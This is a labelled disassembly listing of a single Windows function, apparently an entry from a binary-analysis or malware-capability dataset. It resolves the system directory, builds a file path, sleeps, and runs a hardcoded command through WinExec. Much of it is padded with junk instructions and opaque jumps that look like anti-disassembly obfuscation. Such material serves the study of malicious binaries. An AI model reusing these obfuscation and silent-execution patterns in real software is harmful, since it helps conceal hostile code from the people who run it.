Function at 0x403d80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0xc], 1
stosb byte es:[edi], al
push edi
or edi, 0x693
or di, 0xd76
or edi, 0x291a
sub di, bx
test di, 0x481d
xor di, 0x7174
and di, di
pop edi
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x214]
push esi
push ecx
lea edx, [ebp - 0x110]
push 0x419030
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
jle 0x403e25
mov si, si
mov si, si
jg 0x403e25
fsub qword [ebp + 0x458d92c9]
clc
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
push ecx
call fcn.00403cf0
jle 0x403e44
jg 0x403e44
inc ebx
xor byte [eax - 0x74c625aa], cl
push ebp
clc
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov edi, dword [ebp + 0xc]
push edx
mov edx, dword [ebp + 0x10]
push eax
push ecx
push edx
push edi
push esi
call fcn.00404400
add esp, 0x30
test eax, eax
jne 0x403e6c
add eax, 0xc4830000
xor byte [ebp + 0x5f0775c0], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jb 0x403e85
mov di, di
nop
nop
nop
jae 0x403e85
loope 0x403e5b
lodsd eax, dword [esi]
mov dword [edi], esi
cdq
mov eax, dword [0x9750e2b5]
mov esi, 0x8bb8ec44
inc ebp
clc
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push eax
lea edx, [ebp - 0x110]
push ecx
push edx
call fcn.00403170
add esp, 0xc
test eax, eax
jne 0x403ea7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
test bl, 0x4d
pop ebx
je 0x403eb8
push ecx
mov cx, 0xec17
pop ecx
jne 0x403eb8
pushfd
popfd
call fcn.00404c30
push edx
push ax
sub edx, eax
cmp dx, cx
add edx, 0x1ab
xor ax, 0x2160
test bh, dl
test di, dx
pop ax
pop edx
push 0x419068
call fcn.00401370
add esp, 4
cmp eax, 0xffffffff
je 0x403ef0
mov ebx, 0xe
jmp 0x403f07
push 0x41905c
call fcn.00401370
add esp, 4
cmp eax, 0xffffffff
je 0x403f42
mov ebx, 0xf
push edi
push esi
call fcn.00404a70
add esp, 8
test eax, eax
je 0x403f30
push ebx
call fcn.00403560
push ebx
call fcn.004012b0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x423604]
test eax, eax
jne 0x403f42
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
test bx, 0xa43
cmp ch, 0x6e
sub ch, bl
cmp dx, 0x7a98
sub ecx, edx
popal
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x110]
push eax
push esi
call fcn.00402090
add esp, 8
test eax, eax
jne 0x403f6f
mov dword [ebp - 0xc], eax
push ax
push cx
push edi
and al, dl
or ch, 0x3a
dec edi
inc edi
cmp ah, bl
xor ax, ax
cmp cl, dl
dec cl
pop edi
pop cx
pop ax
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x403fa0
push esi
call fcn.00404390
add esp, 4
test eax, eax
jne 0x403fa0
mov dword [ebp - 0xc], eax
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403fbe
push 0
push esi
call fcn.00402f40
add esp, 8
mov dword [ebp - 0xc], eax
jbe 0x403fd8
xchg bh, bh
xchg edi, edi
ja 0x403fd8
cmp eax, eax
xchg esp, eax
movsd dword es:[edi], dword [esi]
mov bh, 0xdf
mov ebp, 0x8be181d0
inc ebp
hlt
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x403fe9
push 0xffffffffffffffff
call fcn.004012b0
add esp, 4
push eax
push ecx
push edx
cmp dh, dl
or ecx, ecx
test ah, al
xor ecx, 0xc4
test dh, al
cmp ch, bl
or cx, 0x7720
xor ecx, 0x4eb4
and ecx, 0x218b
and dl, bl
pop edx
pop ecx
pop eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push esi
push dx
inc dl
xor bl, dl
inc si
cmp dx, 0x676a
xor bx, 0x35f8
cmp esi, 0x222c
pop dx
pop esi
pop ebx
push 0
push 0x41907c
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret